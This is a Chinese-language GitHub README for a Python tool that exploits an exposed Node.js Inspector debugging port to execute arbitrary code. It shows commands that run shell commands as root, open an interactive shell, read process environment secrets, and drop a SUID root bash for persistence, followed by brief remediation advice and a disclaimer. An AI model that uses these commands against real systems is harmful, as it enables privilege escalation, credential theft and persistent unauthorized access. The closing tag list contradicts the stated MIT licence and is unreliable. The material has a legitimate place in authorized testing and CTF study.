cristhian-bot0/nodejs-inspector-rce
GitHub: cristhian-bot0/nodejs-inspector-rce
一个零依赖、单文件的 Python 工具,利用暴露的 Node.js Inspector 端口(Chrome DevTools Protocol)实现远程代码执行。
Stars: 0 | Forks: 0
# nodejs-inspector-rce
用于 **Node.js Inspector** 的单文件、零依赖远程代码执行客户端
(`node --inspect`)。纯 Python 标准库实现——无需 `pip install`,无需 `websocket-client`,
无需浏览器。
## 为什么会有这个工具
当 Node.js 进程以 `--inspect` 启动时,它会通过 WebSocket 暴露 **Chrome DevTools
Protocol (CDP)**,默认地址为 `127.0.0.1:9229`。任何能连接到该
端口的客户端都可以通过 `Runtime.evaluate` 在进程中执行任意 JavaScript,这相当于
以该进程的权限进行完全的代码执行。
这是 CTF 和实际测试中反复出现的发现:
- 后台 worker 或服务以 `--inspect` 启动(通常是调试时遗留的),
并以 **root** 身份运行。
- 该端口绑定到 localhost,因此从外部看起来很“安全”——但任何本地用户,或者
已经获得低权限立足点的攻击者,都可以与其通信并**提权至该服务的权限**。
现有的工具都不太好用:`node inspect` 只支持交互模式,而且大多数脚本都需要引入
WebSocket 库或驱动真实的 Chrome。这个工具手动完成了最简的 WebSocket + CDP 握手,
因此只要存在 Python 3 的地方它就能运行。
## 用法
```
python3 inspector_rce.py [options]
```
`` 可以是 `host`、`host:port` 或完整的 URL。端口默认为 `9229`。
| 选项 | 描述 |
|--------|-------------|
| `-c, --cmd ` | 运行 shell 命令并打印其 stdout |
| `-e, --eval ` | 执行原始 JavaScript 表达式 |
| `-s, --shell` | 交互式命令 shell |
| `-p, --port ` | 当 target 中未指定时的 inspector 端口(默认 9229) |
| `-t, --timeout `| socket 超时时间(秒)(默认 15) |
### 示例
验证代码执行(默认运行 `id`):
```
$ python3 inspector_rce.py 127.0.0.1:9229
[+] connected to Node.js inspector at 127.0.0.1:9229
uid=0(root) gid=0(root) groups=0(root)
```
运行特定命令:
```
$ python3 inspector_rce.py 127.0.0.1 -c 'cat /root/root.txt'
```
交互式 shell:
```
$ python3 inspector_rce.py 10.10.10.10:9229 --shell
node-rce$ whoami
root
node-rce$ hostname
target
node-rce$ exit
```
原始 JavaScript(便于读取进程内部信息):
```
$ python3 inspector_rce.py 127.0.0.1 -e 'process.env.SECRET'
$ python3 inspector_rce.py 127.0.0.1 -e 'Object.keys(process.env).join("\n")'
```
### 获取稳定的 shell
一旦你获得了特权用户的执行权限,放下一个 SUID shell:
```
$ python3 inspector_rce.py 127.0.0.1 -c 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
$ /tmp/rootbash -p
```
## 工作原理
1. 在 inspector 的 HTTP endpoint 上执行 `GET /json` 会返回 `webSocketDebuggerUrl`。
2. 通过普通的 TCP socket 执行原始的 WebSocket 升级握手。
3. 发送 `Runtime.evaluate` 消息,其中包含调用
`child_process.execSync(...)` 的表达式(用于 `--cmd`)或你的原始 JS(用于 `--eval`)。
4. 手动编码/解码带掩码/无掩码的 WebSocket 帧,并打印返回的值。
命令 wrapper 通过 `process.mainModule.require` 解析 `child_process`(带有全局 `require` 作为回退方案),因此无论目标脚本是如何启动的,它都能正常工作。
## 修复建议
- 切勿在生产环境中运行 `--inspect` / `--inspect-brk`。
- 如果必须进行远程调试,请将 inspector 绑定到 loopback **并**将其置于
带有身份验证的 SSH tunnel 之后——切勿将 9229 暴露给任何你未完全信任的用户。
- 降权:被调试的进程不应以 root 身份运行。
## 免责声明
仅供**已授权的**安全测试、CTF 挑战和教育使用。在你未拥有或未获得明确测试许可的系统上运行此工具是非法的。你需对如何使用它负责。
## 许可证
MIT — 见 [LICENSE](LICENSE)。
标签:GNU通用公共许可证, MITM代理, Node.js, Python, Web报告查看器, 无后门, 编程工具, 远程代码执行, 逆向工具